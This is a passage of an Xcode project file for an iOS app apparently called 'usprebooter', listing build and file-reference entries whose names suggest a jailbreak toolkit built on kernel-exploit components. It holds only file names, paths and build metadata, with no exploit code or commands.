= PBXBuildFile; fileRef = D6E08F382B48E24F00AE49BF /* Data+Representation.swift */; };\n\t\tD6E08F522B48E24F00AE49BF /* _ConditionalRepresentation.swift in Sources */ = {isa = PBXBuildFile; fileRef = D6E08F392B48E24F00AE49BF /* _ConditionalRepresentation.swift */; };\n\t\tD6E08F532B48E24F00AE49BF /* File+Representations.swift in Sources */ = {isa = PBXBuildFile; fileRef = D6E08F3A2B48E24F00AE49BF /* File+Representations.swift */; };\n\t\tD6E08F542B48E24F00AE49BF /* Data+Transferable.swift in Sources */ = {isa = PBXBuildFile; fileRef = D6E08F3C2B48E24F00AE49BF /* Data+Transferable.swift */; };\n\t\tD6E08F552B48E24F00AE49BF /* URL+Transferable.swift in Sources */ = {isa = PBXBuildFile; fileRef = D6E08F3D2B48E24F00AE49BF /* URL+Transferable.swift */; };\n\t\tD6E08F562B48E24F00AE49BF /* String+Transferable.swift in Sources */ = {isa = PBXBuildFile; fileRef = D6E08F3E2B48E24F00AE49BF /* String+Transferable.swift */; };\n\t\tD6E08F572B48E24F00AE49BF /* Never+Transferable.swift in Sources */ = {isa = PBXBuildFile; fileRef = D6E08F3F2B48E24F00AE49BF /* Never+Transferable.swift */; };\n\t\tD6E08F582B48E24F00AE49BF /* AttributedString+Transferable.swift in Sources */ = {isa = PBXBuildFile; fileRef = D6E08F402B48E24F00AE49BF /* AttributedString+Transferable.swift */; };\n\t\tD6E08F592B48E24F00AE49BF /* Visibility.swift in Sources */ = {isa = PBXBuildFile; fileRef = D6E08F422B48E24F00AE49BF /* Visibility.swift */; };\n\t\tD6E08F5A2B48E24F00AE49BF /* SentTransferredFile.swift in Sources */ = {isa = PBXBuildFile; fileRef = D6E08F432B48E24F00AE49BF /* SentTransferredFile.swift */; };\n\t\tD6E08F5B2B48E24F00AE49BF /* ReceivedTransferredFile.swift in Sources */ = {isa = PBXBuildFile; fileRef = D6E08F442B48E24F00AE49BF /* ReceivedTransferredFile.swift */; };\n\t\tD6E08F5C2B48E24F00AE49BF /* NSItemProvider+Transferable.swift in Sources */ = {isa = PBXBuildFile; fileRef = D6E08F452B48E24F00AE49BF /* NSItemProvider+Transferable.swift */; };\n\t\tD6E08F5D2B48E24F00AE49BF /* Transferable.swift in Sources */ = {isa = PBXBuildFile; fileRef = D6E08F462B48E24F00AE49BF /* Transferable.swift */; };\n\t\tD6E08F5E2B48E24F00AE49BF /* TransferRepresentationBuilder.swift in Sources */ = {isa = PBXBuildFile; fileRef = D6E08F472B48E24F00AE49BF /* TransferRepresentationBuilder.swift */; };\n\t\tD6E08F5F2B48E24F00AE49BF /* TransferableRepresentation.swift in Sources */ = {isa = PBXBuildFile; fileRef = D6E08F482B48E24F00AE49BF /* TransferableRepresentation.swift */; };\n\t\tD6E08F602B48E24F00AE49BF /* Backport.swift in Sources */ = {isa = PBXBuildFile; fileRef = D6E08F492B48E24F00AE49BF /* Backport.swift */; };\n\t\tD6E0900D2B48E26000AE49BF /* Platforms.swift in Sources */ = {isa = PBXBuildFile; fileRef = D6E08F632B48E25E00AE49BF /* Platforms.swift */; };\n\t\tD6E0900E2B48E26000AE49BF /* SafeArea.swift in Sources */ = {isa = PBXBuildFile; fileRef = D6E08F642B48E25E00AE49BF /* SafeArea.swift */; };\n\t\tD6E0900F2B48E26000AE49BF /* Environment.swift in Sources */ = {isa = PBXBuildFile; fileRef = D6E08F652B48E25E00AE49BF /* Environment.swift */; };\n\t\tD6E090102B48E26000AE49BF /* Environment+String.swift in Sources */ = {isa = PBXBuildFile; fileRef = D6E08F662B48E25E00AE49BF /* Environment+String.swift */; };\n\t\tD6E090112B48E26000AE49BF /* OwningController.swift in Sources */ = {isa = PBXBuildFile; fileRef = D6E08F672B48E25E00AE49BF /* OwningController.swift */; };\n\t\tD6E090122B48E26000AE49BF /* NSItemProvider+Async.swift in Sources */ = {isa = PBXBuildFile; fileRef = D6E08F682B48E25E00AE49BF /* NSItemProvider+Async.swift */; };\n\t\tD6E090132B48E26000AE49BF /* UIScene.swift in Sources */ = {isa = PBXBuildFile; fileRef = D6E08F692B48E25E00AE49BF /* UIScene.swift */; };\n\t\tD6E090142B48E26000AE49BF /* Inspect.swift in Sources */ = {isa = PBXBuildFile; fileRef = D6E08F6A2B48E25E00AE49BF /* Inspect.swift */; };\n\t\tD6E090152B48E26000AE49BF /* String+LocalizationKey.swift in Sources */ = {isa = PBXBuildFile; fileRef = D6E08F6B2B48E25E00AE49BF /* String+LocalizationKey.swift */; };\n\t\tD6E090162B48E26000AE49BF /* VisualEffect+iOS.swift in Sources */ = {isa = PBXBuildFile; fileRef = D6E08F6D2B48E25F00AE49BF /* VisualEffect+iOS.swift */; };\n\t\tD6E090172B48E26000AE49BF /* VisualEffect+macOS.swift in Sources */ = {isa = PBXBuildFile; fileRef = D6E08F6E2B48E25F00AE49BF /* VisualEffect+macOS.swift */; };\n\t\tD6E0907C2B48E26000AE49BF /* Detents.swift in Sources */ = {isa = PBXBuildFile; fileRef = D6E090022B48E25F00AE49BF /* Detents.swift */; };\n\t\tD6E090852B48E26000AE49BF /* UIBackport.swift in Sources */ = {isa = PBXBuildFile; fileRef = D6E0900C2B48E25F00AE49BF /* UIBackport.swift */; };\n\t\tD6E0908C2B48E3A200AE49BF /* BlobLayer.swift in Sources */ = {isa = PBXBuildFile; fileRef = D6E090872B48E3A200AE49BF /* BlobLayer.swift */; };\n\t\tD6E0908D2B48E3A200AE49BF /* ResizableLayer.swift in Sources */ = {isa = PBXBuildFile; fileRef = D6E090882B48E3A200AE49BF /* ResizableLayer.swift */; };\n\t\tD6E0908E2B48E3A200AE49BF /* FluidGradientView.swift in Sources */ = {isa = PBXBuildFile; fileRef = D6E090892B48E3A200AE49BF /* FluidGradientView.swift */; };\n\t\tD6E0908F2B48E3A200AE49BF /* CGPoint+Extensions.swift in Sources */ = {isa = PBXBuildFile; fileRef = D6E0908A2B48E3A200AE49BF /* CGPoint+Extensions.swift */; };\n\t\tD6E090902B48E3A200AE49BF /* FluidGradient.swift in Sources */ = {isa = PBXBuildFile; fileRef = D6E0908B2B48E3A200AE49BF /* FluidGradient.swift */; };\n\t\tD6F9CF3F2B4B2F7D00274803 /* ct_bypass in Resources */ = {isa = PBXBuildFile; fileRef = D6F9CF3E2B4B2F7D00274803 /* ct_bypass */; };\n\t\tD6F9CF412B4B306400274803 /* fastPathSign in Resources */ = {isa = PBXBuildFile; fileRef = D6F9CF402B4B306400274803 /* fastPathSign */; };\n/* End PBXBuildFile section */\n\n/* Begin PBXFileReference section */\n\t\t013141FE2B445B26006BEBE9 /* memoryControl.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = memoryControl.m; sourceTree = \"<group>\"; };\n\t\t013142012B445B48006BEBE9 /* memoryControl.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = memoryControl.h; sourceTree = \"<group>\"; };\n\t\tC805CA442B1719C1005157BA /* util.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = util.m; sourceTree = \"<group>\"; };\n\t\tC805CA462B1719D5005157BA /* util.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = util.h; sourceTree = \"<group>\"; };\n\t\tC811229A2B15E7BB00AD077B /* usprebooter.app */ = {isa = PBXFileReference; explicitFileType = wrapper.application; includeInIndex = 0; path = usprebooter.app; sourceTree = BUILT_PRODUCTS_DIR; };\n\t\tC81122AB2B15E7BD00AD077B /* Info.plist */ = {isa = PBXFileReference; lastKnownFileType = text.plist.xml; path = Info.plist; sourceTree = \"<group>\"; };\n\t\tC81122CF2B15EA8600AD077B /* usprebooter-Bridging-Header.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = \"usprebooter-Bridging-Header.h\"; sourceTree = \"<group>\"; };\n\t\tC81122DD2B16C9CB00AD077B /* troller.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = troller.h; sourceTree = \"<group>\"; };\n\t\tC81122DE2B16C9CC00AD077B /* troller.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = troller.m; sourceTree = \"<group>\"; };\n\t\tC82AFEEF2B175A270070EA49 /* ContentView.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = ContentView.swift; sourceTree = \"<group>\"; };\n\t\tC82AFEF12B175AA30070EA49 /* usprebooterApp.swift */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.swift; path = usprebooterApp.swift; sourceTree = \"<group>\"; };\n\t\tC82AFEF32B175AB80070EA49 /* Assets.xcassets */ = {isa = PBXFileReference; lastKnownFileType = folder.assetcatalog; path = Assets.xcassets; sourceTree = \"<group>\"; };\n\t\tC82AFF0D2B1762CE0070EA49 /* fakeroot */ = {isa = PBXFileReference; lastKnownFileType = text; path = fakeroot; sourceTree = \"<group>\"; };\n\t\tC82AFF102B1762CE0070EA49 /* trolltoolsroothelper */ = {isa = PBXFileReference; lastKnownFileType = \"compiled.mach-o.executable\"; path = trolltoolsroothelper; sourceTree = \"<group>\"; };\n\t\tC82AFF112B1762CE0070EA49 /* .stamp */ = {isa = PBXFileReference; lastKnownFileType = text; path = .stamp; sourceTree = \"<group>\"; };\n\t\tC82AFF132B1762CE0070EA49 /* uicache.m.df2b699c.Td */ = {isa = PBXFileReference; lastKnownFileType = text; path = uicache.m.df2b699c.Td; sourceTree = \"<group>\"; };\n\t\tC82AFF142B1762CE0070EA49 /* main.m.cb550517.Td */ = {isa = PBXFileReference; lastKnownFileType = text; path = main.m.cb550517.Td; sourceTree = \"<group>\"; };\n\t\tC82AFF152B1762CE0070EA49 /* uicache.m.1773e4a4.Td */ = {isa = PBXFileReference; lastKnownFileType = text; path = uicache.m.1773e4a4.Td; sourceTree = \"<group>\"; };\n\t\tC82AFF162B1762CE0070EA49 /* main.m.1773e4a4.o */ = {isa = PBXFileReference; lastKnownFileType = \"compiled.mach-o.objfile\"; path = main.m.1773e4a4.o; sourceTree = \"<group>\"; };\n\t\tC82AFF172B1762CE0070EA49 /* uicache.m.1773e4a4.o */ = {isa = PBXFileReference; lastKnownFileType = \"compiled.mach-o.objfile\"; path = uicache.m.1773e4a4.o; sourceTree = \"<group>\"; };\n\t\tC82AFF182B1762CE0070EA49 /* TSUtil.m.1773e4a4.Td */ = {isa = PBXFileReference; lastKnownFileType = text; path = TSUtil.m.1773e4a4.Td; sourceTree = \"<group>\"; };\n\t\tC82AFF192B1762CE0070EA49 /* main.m.df2b699c.o */ = {isa = PBXFileReference; lastKnownFileType = \"compiled.mach-o.objfile\"; path = main.m.df2b699c.o; sourceTree = \"<group>\"; };\n\t\tC82AFF1A2B1762CE0070EA49 /* TSUtil.m.cb550517.o */ = {isa = PBXFileReference; lastKnownFileType = \"compiled.mach-o.objfile\"; path = TSUtil.m.cb550517.o; sourceTree = \"<group>\"; };\n\t\tC82AFF1B2B1762CE0070EA49 /* trolltoolsroothelper.dSYM */ = {isa = PBXFileReference; lastKnownFileType = wrapper.dsym; path = trolltoolsroothelper.dSYM; sourceTree = \"<group>\"; };\n\t\tC82AFF1C2B1762CE0070EA49 /* TSUtil.m.df2b699c.Td */ = {isa = PBXFileReference; lastKnownFileType = text; path = TSUtil.m.df2b699c.Td; sourceTree = \"<group>\"; };\n\t\tC82AFF1D2B1762CE0070EA49 /* uicache.m.df2b699c.o */ = {isa = PBXFileReference; lastKnownFileType = \"compiled.mach-o.objfile\"; path = uicache.m.df2b699c.o; sourceTree = \"<group>\"; };\n\t\tC82AFF1E2B1762CE0070EA49 /* TSUtil.m.cb550517.Td */ = {isa = PBXFileReference; lastKnownFileType = text; path = TSUtil.m.cb550517.Td; sourceTree = \"<group>\"; };\n\t\tC82AFF1F2B1762CE0070EA49 /* TSUtil.m.1773e4a4.o */ = {isa = PBXFileReference; lastKnownFileType = \"compiled.mach-o.objfile\"; path = TSUtil.m.1773e4a4.o; sourceTree = \"<group>\"; };\n\t\tC82AFF202B1762CE0070EA49 /* main.m.df2b699c.Td */ = {isa = PBXFileReference; lastKnownFileType = text; path = main.m.df2b699c.Td; sourceTree = \"<group>\"; };\n\t\tC82AFF212B1762CE0070EA49 /* main.m.1773e4a4.Td */ = {isa = PBXFileReference; lastKnownFileType = text; path = main.m.1773e4a4.Td; sourceTree = \"<group>\"; };\n\t\tC82AFF222B1762CE0070EA49 /* uicache.m.cb550517.o */ = {isa = PBXFileReference; lastKnownFileType = \"compiled.mach-o.objfile\"; path = uicache.m.cb550517.o; sourceTree = \"<group>\"; };\n\t\tC82AFF232B1762CE0070EA49 /* uicache.m.cb550517.Td */ = {isa = PBXFileReference; lastKnownFileType = text; path = uicache.m.cb550517.Td; sourceTree = \"<group>\"; };\n\t\tC82AFF242B1762CE0070EA49 /* TSUtil.m.df2b699c.o */ = {isa = PBXFileReference; lastKnownFileType = \"compiled.mach-o.objfile\"; path = TSUtil.m.df2b699c.o; sourceTree = \"<group>\"; };\n\t\tC82AFF252B1762CE0070EA49 /* main.m.cb550517.o */ = {isa = PBXFileReference; lastKnownFileType = \"compiled.mach-o.objfile\"; path = main.m.cb550517.o; sourceTree = \"<group>\"; };\n\t\tC82AFF292B1762CE0070EA49 /* net.sourceloc.trolltoolsroothelper-1.0 */ = {isa = PBXFileReference; lastKnownFileType = text; path = \"net.sourceloc.trolltoolsroothelper-1.0\"; sourceTree = \"<group>\"; };\n\t\tC82AFF2A2B1762CE0070EA49 /* build_session */ = {isa = PBXFileReference; lastKnownFileType = text; path = build_session; sourceTree = \"<group>\"; };\n\t\tC82AFF2B2B1762CE0070EA49 /* Makefile */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.make; path = Makefile; sourceTree = \"<group>\"; };\n\t\tC82AFF2C2B1762CE0070EA49 /* entitlements.plist */ = {isa = PBXFileReference; lastKnownFileType = text.plist; path = entitlements.plist; sourceTree = \"<group>\"; };\n\t\tC82AFF2D2B1762CE0070EA49 /* TSUtil.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = TSUtil.m; sourceTree = \"<group>\"; };\n\t\tC82AFF2E2B1762CE0070EA49 /* RootHelperSample.xcodeproj */ = {isa = PBXFileReference; lastKnownFileType = \"wrapper.pb-project\"; path = RootHelperSample.xcodeproj; sourceTree = \"<group>\"; };\n\t\tC82AFF312B1762CE0070EA49 /* main.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = main.m; sourceTree = \"<group>\"; };\n\t\tC82AFF332B1762CE0070EA49 /* TSUtil.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = TSUtil.h; sourceTree = \"<group>\"; };\n\t\tC82AFF342B1762CE0070EA49 /* CoreServices.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = CoreServices.h; sourceTree = \"<group>\"; };\n\t\tC82AFF352B1762CE0070EA49 /* RemoteLog.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = RemoteLog.h; sourceTree = \"<group>\"; };\n\t\tC82AFF362B1762CE0070EA49 /* control */ = {isa = PBXFileReference; lastKnownFileType = text; path = control; sourceTree = \"<group>\"; };\n\t\tC82AFF3C2B1796D90070EA49 /* IOKit.tbd */ = {isa = PBXFileReference; lastKnownFileType = \"sourcecode.text-based-dylib-definition\"; name = IOKit.tbd; path = ../theos/sdks/iPhoneOS15.5.sdk/System/Library/Frameworks/IOKit.framework/Versions/Current/IOKit.tbd; sourceTree = \"<group>\"; };\n\t\tC82AFF3D2B179A880070EA49 /* IOKit.framework */ = {isa = PBXFileReference; lastKnownFileType = wrapper.framework; name = IOKit.framework; path = System/Library/Frameworks/IOKit.framework; sourceTree = SDKROOT; };\n\t\tC82AFF422B17AA6C0070EA49 /* ldid */ = {isa = PBXFileReference; lastKnownFileType = \"compiled.mach-o.executable\"; path = ldid; sourceTree = \"<group>\"; };\n\t\tC83594C32B17AC8500346F80 /* MobileContainerManager.framework */ = {isa = PBXFileReference; lastKnownFileType = wrapper.framework; name = MobileContainerManager.framework; path = ../theos/sdks/iPhoneOS15.5.sdk/System/Library/PrivateFrameworks/MobileContainerManager.framework; sourceTree = \"<group>\"; };\n\t\tC83594CE2B18F70700346F80 /* overwriter.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = overwriter.m; sourceTree = \"<group>\"; };\n\t\tC83594D02B18F74600346F80 /* vm_unaligned_copy_switch_race.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = vm_unaligned_copy_switch_race.h; sourceTree = \"<group>\"; };\n\t\tC83594D12B18F74600346F80 /* vm_unaligned_copy_switch_race.c */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.c; path = vm_unaligned_copy_switch_race.c; sourceTree = \"<group>\"; };\n\t\tC83594D32B18F80300346F80 /* overwriter.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = overwriter.h; sourceTree = \"<group>\"; };\n\t\tC84002E32B4A545400C73950 /* insert_dylib.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = insert_dylib.m; sourceTree = \"<group>\"; };\n\t\tC84002E52B4A547B00C73950 /* insert_dylib.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = insert_dylib.h; sourceTree = \"<group>\"; };\n\t\tC84002E82B4A55A300C73950 /* springboardshimsignedinjected */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = text; name = springboardshimsignedinjected; path = RootHelperSample/launchdshim/SpringBoardShim/springboardshimsignedinjected; sourceTree = SOURCE_ROOT; };\n\t\tC84002EC2B4A64E200C73950 /* launchdentitlements.plist */ = {isa = PBXFileReference; lastKnownFileType = text.plist; name = launchdentitlements.plist; path = RootHelperSample/launchdshim/launchdentitlements.plist; sourceTree = SOURCE_ROOT; };\n\t\tC8BFCC782B3FFE560008D8FD /* cs_blobs.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = cs_blobs.h; sourceTree = \"<group>\"; };\n\t\tC8BFCC792B3FFE560008D8FD /* thanks_opa334dev_htrowii.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = thanks_opa334dev_htrowii.h; sourceTree = \"<group>\"; };\n\t\tC8BFCC7A2B3FFE560008D8FD /* utils.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = utils.h; sourceTree = \"<group>\"; };\n\t\tC8BFCC7B2B3FFE560008D8FD /* vnode.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = vnode.h; sourceTree = \"<group>\"; };\n\t\tC8BFCC7C2B3FFE560008D8FD /* proc.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = proc.h; sourceTree = \"<group>\"; };\n\t\tC8BFCC7D2B3FFE560008D8FD /* offsets.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = offsets.h; sourceTree = \"<group>\"; };\n\t\tC8BFCC7E2B3FFE560008D8FD /* krw.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = krw.h; sourceTree = \"<group>\"; };\n\t\tC8BFCC7F2B3FFE560008D8FD /* fun.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = fun.m; sourceTree = \"<group>\"; };\n\t\tC8BFCC822B3FFE560008D8FD /* dir.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = dir.m; sourceTree = \"<group>\"; };\n\t\tC8BFCC842B3FFE560008D8FD /* utils.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = utils.m; sourceTree = \"<group>\"; };\n\t\tC8BFCC852B3FFE560008D8FD /* thanks_opa334dev_htrowii.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = thanks_opa334dev_htrowii.m; sourceTree = \"<group>\"; };\n\t\tC8BFCC862B3FFE560008D8FD /* cs_blobs.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = cs_blobs.m; sourceTree = \"<group>\"; };\n\t\tC8BFCC872B3FFE560008D8FD /* krw.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = krw.c; sourceTree = \"<group>\"; };\n\t\tC8BFCC882B3FFE560008D8FD /* offsets.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = offsets.m; sourceTree = \"<group>\"; };\n\t\tC8BFCC892B3FFE560008D8FD /* vnode.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = vnode.m; sourceTree = \"<group>\"; };\n\t\tC8BFCC8A2B3FFE560008D8FD /* proc.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = proc.c; sourceTree = \"<group>\"; };\n\t\tC8BFCC8C2B3FFE560008D8FD /* fun.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = fun.h; sourceTree = \"<group>\"; };\n\t\tC8BFCC8F2B3FFE560008D8FD /* dir.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = dir.h; sourceTree = \"<group>\"; };\n\t\tC8BFCC912B3FFE560008D8FD /* krkw.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = krkw.h; sourceTree = \"<group>\"; };\n\t\tC8BFCC942B3FFE560008D8FD /* kread_sem_open.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = kread_sem_open.h; sourceTree = \"<group>\"; };\n\t\tC8BFCC952B3FFE560008D8FD /* kread_kqueue_workloop_ctl.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = kread_kqueue_workloop_ctl.h; sourceTree = \"<group>\"; };\n\t\tC8BFCC972B3FFE560008D8FD /* kwrite_sem_open.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = kwrite_sem_open.h; sourceTree = \"<group>\"; };\n\t\tC8BFCC982B3FFE560008D8FD /* kwrite_dup.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = kwrite_dup.h; sourceTree = \"<group>\"; };\n\t\tC8BFCC9A2B3FFE560008D8FD /* static_info.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = static_info.h; sourceTree = \"<group>\"; };\n\t\tC8BFCC9B2B3FFE560008D8FD /* dynamic_info.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = dynamic_info.h; sourceTree = \"<group>\"; };\n\t\tC8BFCC9C2B3FFE560008D8FD /* puaf.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = puaf.h; sourceTree = \"<group>\"; };\n\t\tC8BFCC9D2B3FFE560008D8FD /* common.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = common.h; sourceTree = \"<group>\"; };\n\t\tC8BFCC9F2B3FFE560008D8FD /* smith.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = smith.h; sourceTree = \"<group>\"; };\n\t\tC8BFCCA02B3FFE560008D8FD /* physpuppet.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = physpuppet.h; sourceTree = \"<group>\"; };\n\t\tC8BFCCA12B3FFE560008D8FD /* perf.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = perf.h; sourceTree = \"<group>\"; };\n\t\tC8BFCCA22B3FFE560008D8FD /* info.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = info.h; sourceTree = \"<group>\"; };\n\t\tC8BFCCA32B3FFE570008D8FD /* libkfd.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = libkfd.h; sourceTree = \"<group>\"; };\n\t\tC8BFCCB32B427C0F0008D8FD /* Log.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = Log.swift; sourceTree = \"<group>\"; };\n\t\tD6E08F1D2B48B04E00AE49BF /* TheCoolerContentView.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = TheCoolerContentView.swift; sourceTree = \"<group>\"; };\n\t\tD6E08F2E2B48E24E00AE49BF /* UTTagClass.swift */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.swift; path = UTTagClass.swift; sourceTree = \"<group>\"; };\n\t\tD6E08F2F2B48E24E00AE49BF /* CoreTypes.swift */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.swift; path = CoreTypes.swift; sourceTree = \"<group>\"; };\n\t\tD6E08F302B48E24E00AE49BF /* UTType.swift */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.swift; path = UTType.swift; sourceTree = \"<group>\"; };\n\t\tD6E08F322B48E24E00AE49BF /* URLSession+Async.swift */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.swift; path = \"URLSession+Async.swift\"; sourceTree = \"<group>\"; };\n\t\tD6E08F352B48E24E00AE49BF /* Never+Representation.swift */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.swift; path = \"Never+Representation.swift\"; sourceTree = \"<group>\"; };\n\t\tD6E08F362B48E24F00AE49BF /* Tuple+Representation.swift */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.swift; path = \"Tuple+Representation.swift\"; sourceTree = \"<group>\"; };\n\t\tD6E08F372B48E24F00AE49BF /* Codable+Representation.swift */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.swift; path = \"Codable+Representation.swift\"; sourceTree = \"<group>\"; };\n\t\tD6E08F382B48E24F00AE49BF /* Data+Representation.swift */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.swift; path = \"Data+Representation.swift\"; sourceTree = \"<group>\"; };\n\t\tD6E08F392B48E24F00AE49BF /* _ConditionalRepresentation.swift */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.swift; path = _ConditionalRepresentation.swift; sourceTree = \"<group>\"; };\n\t\tD6E08F3A2B48E24F00AE49BF /* File+Representations.swift */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.swift; path = \"File+Representations.swift\"; sourceTree = \"<group>\"; };\n\t\tD6E08F3C2B48E24F00AE49BF /* Data+Transferable.swift */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.swift; path = \"Data+Transferable.swift\"; sourceTree = \"<group>\"; };\n\t\tD6E08F3D2B48E24F00AE49BF /* URL+Transferable.swift */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.swift; path = \"URL+Transferable.swift\"; sourceTree = \"<group>\"; };\n\t\tD6E08F3E2B48E24F00AE49BF /* String+Transferable.swift */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.swift; path = \"String+Transferable.swift\"; sourceTree = \"<group>\"; };\n\t\tD6E08F3F2B48E24F00AE49BF /* Never+Transferable.swift */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.swift; path = \"Never+Transferable.swift\"; sourceTree = \"<group>\"; };\n\t\tD6E08F402B48E24F00AE49BF /* AttributedString+Transferable.swift */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.swift; path = \"AttributedString+Transferable.swift\"; sourceTree = \"<group>\"; };\n\t\tD6E08F422B48E24F00AE49BF /* Visibility.swift */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.swift; path = Visibility.swift; sourceTree = \"<group>\"; };\n\t\tD6E08F432B48E24F00AE49BF /* SentTransferredFile.swift */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.swift; path = SentTransferredFile.swift; sourceTree = \"<group>\"; };\n\t\tD6E08F442B48E24F00AE49BF /* ReceivedTransferredFile.swift */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.swift; path = ReceivedTransferredFile.swift; sourceTree = \"<group>\"; };\n\t\tD6E08F452B48E24F00AE49BF /* NSItemProvider+Transferable.swift */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.swift; path = \"NSItemProvider+Transferable.swift\"; sourceTree = \"<group>\"; };\n\t\tD6E08F462B48E24F00AE49BF /* Transferable.swift */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.swift; path = Transferable.swift; sourceTree = \"<group>\"; };\n\t\tD6E08F472B48E24F00AE49BF /* TransferRepresentationBuilder.swift */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.swift; path = TransferRepresentationBuilder.swift; sourceTree = \"<group>\"; };\n\t\tD6E08F482B48E24F00AE49BF /* TransferableRepresentation.swift */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.swift; path = TransferableRepresentation.swift; sourceTree = \"<group>\"; };\n\t\tD6E08F492B48E24F00AE49BF /* Backport.swift */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.swift; path = Backport.swift; sourceTree = \"<group>\"; };\n\t\tD6E08F632B48E25E00AE49BF /* Platforms.swift */ = {isa = PBXFileReference; fileEncoding = 